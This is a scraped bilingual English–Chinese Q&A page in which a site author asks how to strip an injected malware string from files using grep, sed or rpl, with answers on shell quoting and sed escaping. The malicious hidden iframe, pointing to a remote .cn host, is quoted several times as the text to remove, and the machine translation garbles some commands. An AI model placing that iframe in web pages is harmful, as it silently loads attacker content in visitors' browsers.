如何在bash,sed或rpl脚本中传递长字符串进行搜索和替换?

时间:2022-01-08 09:00:43

I am working to create a script which will take a string as an argument and replace recursively in a directory. The simple case (a single word) is admirably handled by the following find and replace script:

我正在创建一个脚本,它将一个字符串作为参数并在目录中递归替换。简单的案例(一个单词)由以下查找和替换脚本令人钦佩地处理:

grep -rl $1 . | xargs sed -i .backup -e "s/$1/$2/g"

grep -rl $ 1。 | xargs sed -i .backup -e“s / $ 1 / $ 2 / g”

But here things get a bit more tricky. The string I am trying to deal with is a malware script which infected a website I wrote (but do not host):

但这里事情变得有点棘手。我试图处理的字符串是一个恶意软件脚本,它感染了我写的网站(但没有托管):

<iframe src="http://reycross.cn/qaqa/" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

This string is obviously complex for both bash and sed would require some escaping. I have experimented with rpl, a special purpose replacement tool, but it doesn't handle the whitespace well:

对于bash和sed来说,这个字符串显然很复杂,需要一些转义。我已经尝试过rpl,一个特殊用途的替换工具,但它不能很好地处理空白:

rpl -pR $* '' *

rpl -pR $ *''*

At the prompt however, I am able to replace $* with the string and get the expected behavior. Any ideas about how to wrangle bash, sed, or rpl into a cute remove-long-string.sh?

然而,在提示符下,我能够用字符串替换$ *并获得预期的行为。关于如何将bash,sed或rpl变成可爱的remove-long-string.sh的任何想法?

3 个解决方案

#1


This is because bash splits each argument at every space with $*

这是因为bash使用$ *在每个空格处拆分每个参数

Try the following:

请尝试以下方法:

rpl -pR "$@" '' *

#2


No, that string, as it is, doesn't need any escaping :).

不,这个字符串,实际上,不需要任何转义:)。

var='<iframe src="http://reycross.cn/qaqa/" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>'
echo "$var" | grep -v "$var" # prints nothing
echo "$var" | sed "s#$var#complete match#" # prints "complete match"

If you need to use generic string with any number of any special chars, then you'll need to escape it in reverse order of what it would be unescaped in.

如果你需要使用具有任意数量的任何特殊字符的通用字符串,那么你将需要以与未转义的相反的顺序对其进行转义。

In case of sed it is once for bash and once for sed's regexp.

在sed的情况下,它是一次用于bash,一次用于sed的regexp。

Bash can be bypassed by

Bash可以绕过

var="$(cat file_with_search_string)"

For sed you'll need to escape backslash first, and then sed border character (# in above example) and all regexp controls -- ^$[].*+? and so on.

对于sed,你需要首先转义反斜杠,然后是sed border character(上例中的#)和所有正则表达式控件 - ^ $ []。* +?等等。

var="${var//\\/\\\\}"
var="${var//#/\\#}"
var="${var//[/\\[}"
# ...
# I'm sure this can somehow be converted into tr script
grep -rl $1 . | xargs sed -i .backup "s#$var#here be dragons#g" 

#3


I don't know rpl, but does it help if you quote the first argument? That'd pass the entire string, spaces and all, as one argument. Without quotes your shell will split it into multiple arguments.

我不知道rpl,但如果引用第一个参数,它会有帮助吗?那会传递整个字符串,空格和所有,作为一个参数。如果没有引号,shell会将其拆分为多个参数。

rpl -pR "$@" '' *

or

rpl -pR "$1" "$2" *

#1


This is because bash splits each argument at every space with $*

这是因为bash使用$ *在每个空格处拆分每个参数

Try the following:

请尝试以下方法:

rpl -pR "$@" '' *

#2


No, that string, as it is, doesn't need any escaping :).

不,这个字符串,实际上,不需要任何转义:)。

var='<iframe src="http://reycross.cn/qaqa/" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>'
echo "$var" | grep -v "$var" # prints nothing
echo "$var" | sed "s#$var#complete match#" # prints "complete match"

If you need to use generic string with any number of any special chars, then you'll need to escape it in reverse order of what it would be unescaped in.

如果你需要使用具有任意数量的任何特殊字符的通用字符串,那么你将需要以与未转义的相反的顺序对其进行转义。

In case of sed it is once for bash and once for sed's regexp.

在sed的情况下,它是一次用于bash,一次用于sed的regexp。

Bash can be bypassed by

Bash可以绕过

var="$(cat file_with_search_string)"

For sed you'll need to escape backslash first, and then sed border character (# in above example) and all regexp controls -- ^$[].*+? and so on.

对于sed,你需要首先转义反斜杠,然后是sed border character(上例中的#)和所有正则表达式控件 - ^ $ []。* +?等等。

var="${var//\\/\\\\}"
var="${var//#/\\#}"
var="${var//[/\\[}"
# ...
# I'm sure this can somehow be converted into tr script
grep -rl $1 . | xargs sed -i .backup "s#$var#here be dragons#g" 

#3


I don't know rpl, but does it help if you quote the first argument? That'd pass the entire string, spaces and all, as one argument. Without quotes your shell will split it into multiple arguments.

我不知道rpl,但如果引用第一个参数,它会有帮助吗?那会传递整个字符串,空格和所有,作为一个参数。如果没有引号,shell会将其拆分为多个参数。

rpl -pR "$@" '' *

or

rpl -pR "$1" "$2" *